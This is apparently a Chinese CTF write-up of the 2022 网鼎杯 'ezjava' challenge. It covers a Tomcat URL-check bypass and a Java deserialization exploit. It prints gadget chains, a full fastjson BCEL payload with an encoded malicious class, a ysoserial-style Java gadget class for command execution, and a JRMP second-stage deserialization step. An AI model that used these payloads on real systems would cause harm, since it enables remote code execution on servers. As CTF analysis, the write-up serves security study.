2022网鼎杯ezjava分析

文章首发于sec-in https://www.sec-in.com/article/2042

拿到题目代码
只有一个EvilController控制器,获取base参数值然后base64解码后带入readObject,很明显的一个反序列化

这里首先是一个url解析绕过的考点,这个反序列化点匹配的路由是/Evil ,但是在方法里又用getRequestURI方法获得路径后用startWith判断是否是/Evil开头,是的话就直接return nonono了

给了docker镜像,看了一眼是jdk版本是8u71,服务器tomcat,那么就是一个很简单的tomcat的解析漏洞

直接访问/Evil是返回nonono

然后只要多加一个/就可以绕过了,其他的url编码或者用/a/../Evil这样跳目录也都是可以绕过的

这里报500是后面readObject反序列化时候的报错,没有返回nonono就代表绕过了

这个考点->使用getRequestURI或者getRequestURL获得路由路径然后做匹配校验导致的漏洞非常常见,是变授权漏洞为未授权漏洞的利器

然后接下来的思路就是看lib里面有什么可用的链,这是全部lib

可以看到是没有常见的commons-beanutils和commons-collections之类的的,但是有spring的一些jar,是不是可以用ysoserial中的spring1和spring2链呢,首先这里是同事告诉我他用spring1和spring2都打不了,然后我平时也没有用过这两个链打过,就用ysoserial在本地试了一下,发现报错了,我本地的环境是8u201

这个报错结合docker环境中jdk8u71这个版本让我一下就意识到了应该是jdk版本太高的问题,因为这个报错其实就是CommonsCollections1和CommonsCollections3在jdk8u71以上的报错,根本原因是因为AnnotationInvocationHandler这个类的代码在jdk8u71发生了变化

这是Spring1的调用链

ObjectInputStream.readObject()
			SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
				SerializableTypeWrapper.TypeProvider(Proxy).getType()
					AnnotationInvocationHandler.invoke()
						HashMap.get()
				ReflectionUtils.findMethod()
				SerializableTypeWrapper.TypeProvider(Proxy).getType()
					AnnotationInvocationHandler.invoke()
						HashMap.get()
				ReflectionUtils.invokeMethod()
					Method.invoke()
						Templates(Proxy).newTransformer()
							AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
								ObjectFactory(Proxy).getObject()
									AnnotationInvocationHandler.invoke()
										HashMap.get()
								Method.invoke()
									TemplatesImpl.newTransformer()
										TemplatesImpl.getTransletInstance()
											TemplatesImpl.defineTransletClasses()
												TemplatesImpl.TransletClassLoader.defineClass()
													Pwner*(Javassist-generated).<static init>
														Runtime.exec()

这是cc1的调用链


	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

都是从AnnotationInvocationHandler.invoke()到xxMap.get(), jdk代码修改以后这个xxMap在AnnotationInvocationHandler.invoke()中对xxMap.get()的调用已经变成了固定的LinkedHashMap,没办法再自己控制从而进入后续流程

然后我用了一下午企图绕过这个限制,发现,嗯,没绕过

后续在p师傅的知识星球得到了一个正确解法,并不是绕过Spring链,而是使用了fastjson这个包

首先回顾一下fastjson反序列化中的bcel链(针对Json.parse()):

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "aaa":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
        }
    }: "xxx"
}

这个bcel链的原理和常规的fastjson payload不同,JsonObject作为Map的子类,此处

 {
        "@type": "com.alibaba.fastjson.JSONObject",
        "aaa":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
        }
}

这个部分是一个JSONObject对象,是map中的key,后面的xxx是value。

接着在DefaultJSONParser.parseObject对key调用toString方法

在toString接着调用toJsonString ,在toJsonString中使用ASM生成内存字节码然后调用所有getter,毕竟执行toString()就意味着将当前对象转为字符串形式,也就会提取类中所有Field,自然会执行相应的getter方法。

这个payload的写法是为了绕过Json.parse无法执行所有getter,如果是Json.parseObject就不需要这样key-value来写

那么我们就知道了存在toString->toJsonString->getter 这样的一段调用链,而从CommonsCollections5链中可以知道存在BadAttributeValueExpException类的readObject会触发传入对象的toString方法,又从jdk7u21链知道TemplatesImpl类中存在getOutputProperties可以加载任意字节码达到执行任意命令的效果,那么最终的序列化代码就呼之欲出了

public class Fastjson extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
    @Override
    public BadAttributeValueExpException getObject(String command) throws
        Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);
        JSONObject jo = new JSONObject();
        jo.put("oops",templatesImpl);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, jo);
        return val;
    }
    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isBadAttrValExcReadObj();
    }
    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Fastjson.class, args);
    }
}

就是把BadAttributeValueExpException的val属性设置为一个JSONObject对象,这个JSONObject对象的value为TemplatesImpl类,就可以触发getOutputProperties

执行时调用堆栈如下:

可用的链找到了,但是这里还有一个新的问题,直接用生成的payload来打报错找不到fastjson的JSONObject类

原因是EInputStream类中的重写的resoveClass方法会设置类加载器为BootStrap ClassLoader也就是启动类加载器,因此无法加载第三方了类而只能加载jdk自带的类

用jrmpclient二次反序列化即可

JRMPClient生成payload

JRMPListener 监听2333端口选择Fastjson利用链即可成功执行命令

posted @ 2023-01-16 15:24  Escape-w  阅读(274)  评论(1编辑  收藏  举报